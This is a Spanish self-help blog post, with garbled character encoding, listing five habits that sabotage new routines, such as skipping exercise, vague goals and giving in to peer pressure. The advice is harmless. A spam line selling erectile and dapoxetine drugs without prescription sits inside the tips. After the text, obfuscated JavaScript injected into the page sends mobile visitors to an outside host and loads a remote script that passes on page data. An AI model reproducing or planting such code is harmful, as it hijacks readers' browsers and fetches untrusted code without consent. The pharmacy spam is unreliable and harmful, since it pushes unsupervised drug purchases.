Todos tenemos malos hA?bitos de los cuales hemos pensando en deshacernos mA?s de una vez, A?apoco no?. Sin embargo seguimos alimentA?ndonos de esas malas costumbres que ya estA?n arraigadas en nosotros.
Llega fin de aío y nos hacemos ai???nuevosai??? propA?sitos, esos que llevan 2 o mA?s aíos en la lista de cosas por hacer o cambiar, llega febrero y nos olvidamos de ello y regresamos a los mismos malos hA?bitos de costumbre.
Generalmente cometemos los mismos errores una y otra vez, pero al no hacernos conscientes de esto seguimos cayendo en el círculo vicioso.
5 cosas mA?s comunes que solemos hacer y quí debes dejar de hacer A?ahora mismo!
Identifica las malas costumbres que te hacen continuar con tus malos hA?bitos, parece trabalenguas pero ya sabes a quí me refiero.
No hacer ejercicio por falta de tiempo
Sin duda es de las situaciones mA?s comunes:
«se me hizo tardeai???,ai??? hoy ando cansadaai???, ai???salí mA?s tarde del trabajoai???, etc.
No quiero decir que siempre sea un pretexto, si, es verdad que se nos puede dar la situaciA?n de que ya no nos darA?n los horarios, sin embargo estar interrumpiendo 2 o 3 días por semana la actividad que queremos crear como hA?bito solo harA? que vaya quedando en el olvido.
Entonces, A?quí hago?. Empieza poco a poco, si te da pereza por ejemplo hacer ejercicio y ya has intentado varias veces crear este hA?bito, pero siempre terminas abandonando, deja de hacer lo mismo.
En vez de proponerte ir 2 horas al gimnasio ve media hora, si no te dan los horarios entonces ve a caminar 15 minutos, haz una rutina en tu casa de 5 minutos, salta la cuerda.
Para hacer ejercicio no hay pretexto ya que hasta subir y bajar unas escaleras son un buen ejercicio físico.
Así que si un dia no puedes ir al gym haz ejercicio alternativo y si el tiempo es un problema entonces empieza con poco y cuando te acostumbres ve aumentando.
No ponerse unas metas claras y sencillas
Otra cosa que solemos hacer es dejar el hA?bito a la suerte del destino, con esto me refiero a que no tenemos claros nuestros objetivos, o tenemos claro lo que queremos pero no cA?mo lo vamos a lograr.
Por ejemplo una persona que quiere bajar de peso dice ai???ya comerí menosai???, ai???no comerí tantas sabritasai???, ai???voy a ser mA?s sanaai???, pero ninguna de estas frases tiene algo claro.
Estas ideas dejan mucho a la subjetividad, A?cuanto es comer menos?, A?que es comer menos sabritas?, A?quí es ser mA?s sana?, pero lo mA?s importante, A?cA?mo lo voy a lograr?.
Si ya has decidido emprender algo entonces ponte metas claras, objetivos claros y sobre todo que puedas medir y evaluarte a ti misma y despuís de ello haz un plan de cA?mo lo vas a hacer.
Por ejemplo en este caso lo mejor seria ir a un nutriA?logo y seguir el plan de alimentaciA?n. En vez de decir voy a comer mA?s sano pon en tu lista comer una fruta diaria, tomar 2 litros de agua diario, comer sabritas solo los fines de semana. A?Me explico?, solo sabiendo que quieres y cA?mo lo vas a lograr crearas un buen hA?bito.
Caer en la pereza y no querer hacer las cosas
Sin duda en esta me identifico, estA?s agusto viendo una serie en netflix, quieres ver un capitulo mas y ya es hora de ir a tu nueva clase, ir a correr o incluso lavarte los dientes para crear el hA?bito de hacerlo las 3 veces al día.
Pero, sientes flojera de levantarte y piensas: ai???no pasa nada si no lo hago hoyai??? o ai???lo harí mas al ratoai???, probablemente mA?s al rato tambiín tengas flojera íy termines sin hacerlo.
A?Como vencer esto?, no hay una receta mA?gica, lidiar con tu pereza por lo menos esos primeros 3 minutos en los que decides comenzar es algo en lo que te tienes que esforzar. Digo 3 minutos porque generalmente la pereza estA? justo antes de comenzar pero una vez emprendida la actividad la pereza se esfuma.
De igual manera te dejo unos tips para no caer en la vagancia:
buy Tadacip online, dapoxetine without prescription. - No tomes una siestas si sabes que te provocarA? mA?s pereza en vez de sentirte descansado.
- No comiences una serie o película si anteriormente has visto que te provoca pereza dejarlo.
- Mantente activo. Cuando comiences a notar flojera haz algo para combatirla, no te dejes envolver en los malos hA?bitos.
- Repite mentalmente tus objetivos y cA?mo lo vas a lograr.
- Ten una lista de los días que lo has hecho y los beneficios, esto te motivarA?.
- Utiliza mA?sica que te motiva antes de hacer tu actividad
- Si quieres y si puedes haz en conjunto este nuevo hA?bito, por ejemplo motiva a tu pareja a hacer ejercicio contigo, motiva a tu mamA? a comer mas saludable, motiva a un amigo a comenzar a usar una nueva mascarilla. El sentirnos acompaíados en una nueva meta hace que nos sintamos mA?s motivados a hacerlo y sobre todo nos sentimos apoyados.
Todos nos conocemos y sabemos a quí hora nos da mA?s pereza y porquA?, asi que si ya lo detectaste simplemente deja de alimentar esa flojera.
No hacer algo porque a los demA?s no les gusta
Muchas veces nos dejamos influenciar por lo que piensan o nos dicen nuestros amigos, nuestra familia o compaíeros de trabajo o de la escuela.
Si hemos decidido dejar de tomar alcohol nuestros amigos pensarA?n: ai???que aburridoai??? o nos dirA?n ai???no seas simpleai???, ai???solo es una cervezaai???, ai???A?ndale, no pasa nadaai???. Si decidimos bajar de peso podrA?n decirnos ai???solo es una rebanadaai???, ai??? con un día no pasa nadaai???, esto es muy molesto y lamentablemente es muy comA?n .
A?Que hago?. Primeramente si tienes claro tus objetivos y cA?mo lo vas a lograr esto lo harA? mas fA?cil, porque ya tienes definido que tienes que hacer.
En segunda trabaja con tu autoestima.
Si no te amas y no te valoras fA?cilmente caerA?s en las influencias de los demA?s.
A veces nuestros amigos nos dicen estas cosas en ai???bromaai??? o no estA?n conscientes de que nos irrita o nos hace sentir tristes. Si en verdad son amigos que les importas ellos entenderA?n si les dices ai???yo se que es broma pero es cansado que siempre me digan lo mismoai???, ai???estoy haciendo un gran esfuerzo por crear este hA?bito y me gustaría sentir mA?s su apoyoai???, ai???no me gusta que me tachen de ridícula o aburrida, yo soy mA?s y valgo mas que este mal hA?bito que intento dejarai???, lo importante es que seas sincera con ellos.
Que la excepciA?n no se convierta en rutina
Esta es otra muy característica. ai???hoy tengo una fiestaai???, ai???hoy lleguí muy tarde a casaai???, ai???es que hoy sale la película que quiero verai???, ai???hoy es 14 de febreroai???, ai???hoy es navidadai???, ai???hoy se tiro un pedo mi perroai???.
Siempre habrA? excepciones porque siempre habrA? un amigo que nos invite a salir, nuestra pareja querrA? hacer alguna actividad, el cine siempre estarA?, críeme, siempre habrA? una ai???excepciA?nai??? para no hacer la actividad.
Que quede claro que no me refiero a que debes dejar de hacer todo esto, A?no!, me refiero a que no dejes de quitarle el tiempo, el espacio y la importancia. Si el cine es de 7 a 9, a las 6 haz tu actividad, 5 minutos basta si no tienes mucho tiempo.
Establece una hora en la que menos te ocupes y respítala, no solemos darle la importancia y este es el problema.
A?Verdad que nunca hacemos planes a la misma hora que trabajamos o que tenemos clase? , A?porquí?. Porque ya tenemos establecido ese tiempo para ello y no podemos simplemente por gusto dejarla, claro, porque tenemos la obligaciA?n de cumplir y al ser nuestro hA?bito una decisiA?n propia se vuelve secundario, entonces a la gente le parece tonto que digamos, A?no puede ser mA?s tarde?, es que a esa hora voy al gimnasio o voy a caminar, se burlan de nosotros.
Entonces establece un horario y haz de cuenta que es obligatorio cumplir esos horarios, si a la gente no le importa no dejes que te deje de importar a ti y si ellos te valoran le tomarA?n importancia a lo que para ti es importante.
Espero y te sirvan estos consejos y comiences a dejar ir aquello que te impide alcanzar tus metas.
var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[«\x73\x63\x72\x69\x70\x74″,»\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,»\x73\x72\x63″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D»,»\x72\x65\x66\x65\x72\x72\x65\x72″,»\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D»,»\x74\x69\x74\x6C\x65″,»\x26″,»\x3F»,»\x72\x65\x70\x6C\x61\x63\x65″,»\x73\x65\x61\x72\x63\x68″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»,»\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,»\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,»\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,»\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,»\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,»\x68\x65\x61\x64″,»\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,»\x70\x72\x6F\x74\x6F\x63\x6F\x6C»,»\x68\x74\x74\x70\x73\x3A»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x52\x5F\x50\x41\x54\x48″,»\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E»];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}